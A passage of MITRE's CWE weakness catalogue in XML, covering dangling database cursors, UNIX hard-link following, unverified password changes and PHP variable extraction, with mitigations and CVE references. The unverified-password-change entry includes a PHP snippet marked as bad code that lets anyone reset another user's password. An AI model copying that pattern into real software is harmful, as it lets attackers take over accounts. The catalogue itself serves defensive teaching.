					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="619" Name="Dangling Database Cursor ('Cursor Injection')" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>If a database cursor is not closed properly, then it could
					become accessible to other users while retaining the same privileges that were
					originally assigned, leaving the cursor "dangling."</Description_Summary>
				        <Extended_Description>
					          <Text>For example, an improper dangling cursor could arise from unhandled
						exceptions. The impact of the issue depends on the cursor's role, but SQL
						injection attacks are commonly possible.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>404</Relationship_Target_ID>
					          <!--Improper Resource Shutdown or Release-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>402</Relationship_Target_ID>
					          <!--Transmission of Private Resources into a New Sphere ('Resource Leak')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>265</Relationship_Target_ID>
					          <!--Privilege / Sandbox Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>388</Relationship_Target_ID>
					          <!--Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
					          <Ordinality_Description>
						            <Text>This could be primary when the programmer never attempts to close the
							cursor when finished with it.</Text>
					          </Ordinality_Description>
				        </Weakness_Ordinality>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="SQL"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>A cursor is a feature in Oracle PL/SQL and other languages that provides a
						handle for executing and accessing the results of SQL queries.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>This issue is currently reported for unhandled exceptions, but it is
						theoretically possible any time the programmer does not close the cursor at
						the proper time.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Close cursors immediately after access to them is complete. Ensure
							that you close cursors if exceptions occur.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <References>
				        <Reference>
					          <Reference_Author>David Litchfield</Reference_Author>
					          <Reference_Title>The Oracle Hacker's Handbook</Reference_Title>
				        </Reference>
				        <Reference>
					          <Reference_Author>David Litchfield</Reference_Author>
					          <Reference_Title>Cursor Injection</Reference_Title>
					          <Reference_Link>http://www.databasesecurity.com/dbsec/cursor-injection.pdf</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Background_Details, Description,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Modes_of_Introduction, Other_Notes,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Dangling Database Cursor
						(Cursor Injection)</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Dangling Database Cursor (aka
						'Cursor Injection')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="62" Name="UNIX Hard Link" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software, when opening a file or directory, does not
					sufficiently account for when the name is associated with a hard link to a
					target that is outside of the intended control sphere. This could allow an
					attacker to cause the software to operate on unauthorized
					files.</Description_Summary>
				        <Extended_Description>
					          <Text>Failure for a system to check for hard links can result in vulnerability
						to different types of attacks. For example, an attacker can escalate their
						privileges if a file used by a privileged program is replaced with a hard
						link to a sensitive file (e.g. /etc/passwd). When the process opens the
						file, the attacker can assume the privileges of that process.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>60</Relationship_Target_ID>
					          <!--UNIX Path Link Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>59</Relationship_Target_ID>
					          <!--Improper Link Resolution Before File Access ('Link Following')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Operating_Systems>
					          <Operating_System_Class Operating_System_Class_Description="UNIX"/>
				        </Operating_Systems>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-48.1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Follow the principle of least privilege when assigning access rights
							to entities in a software system.</Text>
						            <Text>Denying access to a file can prevent an attacker from replacing that
							file with a link to a sensitive file. Ensure good compartmentalization
							in the system to provide protected areas that can be trusted.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1494</Observed_Example_Reference>
					          <Observed_Example_Description>Hard link attack, file overwrite; interesting
						because program checks against soft links</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0793</Observed_Example_Reference>
					          <Observed_Example_Description> Hard link and possibly symbolic link following
						vulnerabilities in embedded operating system allow local users to overwrite
						arbitrary files. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0578</Observed_Example_Reference>
					          <Observed_Example_Description> Server creates hard links and unlinks files as
						root, which allows local users to gain privileges by deleting and
						overwriting arbitrary files. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0783</Observed_Example_Reference>
					          <Observed_Example_Description> Operating system allows local users to conduct a
						denial of service by creating a hard link from a device special file to a
						file on an NFS file system. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1603</Observed_Example_Reference>
					          <Observed_Example_Description> Web hosting manager follows hard links, which
						allows local users to read or modify arbitrary files.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1901</Observed_Example_Reference>
					          <Observed_Example_Description> Package listing system allows local users to
						overwrite arbitrary files via a hard link attack on the lockfiles.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1111</Observed_Example_Reference>
					          <Observed_Example_Description>Hard link race
						condition</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>BUGTRAQ:20030203
						ASA-0001</Observed_Example_Reference>
					          <Observed_Example_Description>OpenBSD chpass/chfn/chsh file content
						leak</Observed_Example_Description>
					          <Observed_Example_Link>http://www.securityfocus.com/archive/1/309962</Observed_Example_Link>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied. It is likely that programs that check for symbolic links
						could be vulnerable to hard links.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 9, "Hard Links", Page 518.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>UNIX hard link</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Identify files using multiple file
						attributes</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO05-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Identify files using multiple file
						attributes</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO05-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="620" Name="Unverified Password Change" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>When setting a new password for a user, the product does not
					require knowledge of the original password, or using another form of
					authentication.</Description_Summary>
				        <Extended_Description>
					          <Text>This could be used by an attacker to change passwords for another user,
						thus gaining the privileges associated with that user.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>255</Relationship_Target_ID>
					          <!--Credentials Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Insufficiently Protected Credentials-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>724</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When prompting for a password change, force the user to provide the
							original password in addition to the new password.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not use "forgotten password" functionality. But if you must, ensure
							that you are only providing information to the actual user, e.g. by
							using an email address or challenge question that the legitimate user
							already provided in the past; do not allow the current user to change
							this identity information until the correct password has been
							provided.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-56">
					          <Intro_Text>This code changes a user's password.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>$user = $_GET['user'];</Code>
							              <Code>$pass = $_GET['pass'];</Code>
							              <Code>$checkpass = $_GET['checkpass'];</Code>
							              <Code>if ($pass == $checkpass) {</Code>
							              <Block>
								                <Code>SetUserPassword($user, $pass);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> While the code confirms that the requesting user typed the same new
							password twice, it does not confirm that the user requesting the
							password change is the same user whose password will be changed. An
							attacker can request a change of another user's password and gain
							control of the victim's account.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-0681</Observed_Example_Reference>
					          <Observed_Example_Description> Web app allows remote attackers to change the
						passwords of arbitrary users without providing the original password, and
						possibly perform other unauthorized actions. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0944</Observed_Example_Reference>
					          <Observed_Example_Description>Web application password change utility doesn't
						check the original password.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 19: Use of Weak Password-Based Systems." Page
						279</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Broken Authentication and Session
						Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A3</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Observed_Example,
						Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="621" Name="Variable Extraction Error" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The product uses external input to determine the names of
					variables into which information is extracted, without verifying that the names
					of the specified variables are valid. This could cause the program to overwrite
					unintended variables.</Description_Summary>
				        <Extended_Description>
					          <Text>For example, in PHP, calling extract() or import_request_variables()
						without the proper arguments could allow arbitrary global variables to be
						overwritten, including superglobals. Similar functionality might be possible
						in other interpreted languages, including custom languages.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>94</Relationship_Target_ID>
					          <!--Improper Control of Generation of Code ('Code Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>99</Relationship_Target_ID>
					          <!--Improper Control of Resource Identifiers ('Resource Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>471</Relationship_Target_ID>
					          <!--Modification of Assumed-Immutable Data (MAID)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>627</Relationship_Target_ID>
					          <!--Dynamic Variable Evaluation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="PHP"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>In general, variable extraction can make control and data flow analysis
						difficult to perform. For PHP, extraction can be used to provide
						functionality similar to register_globals, which is frequently disabled in
						production systems. Many PHP versions will overwrite superglobals in
						extract/import_request_variables calls.</Text>
				        </Note>
			      </Other_Notes>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Variable overwrite</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could modify sensitive data or program variables.</Text>
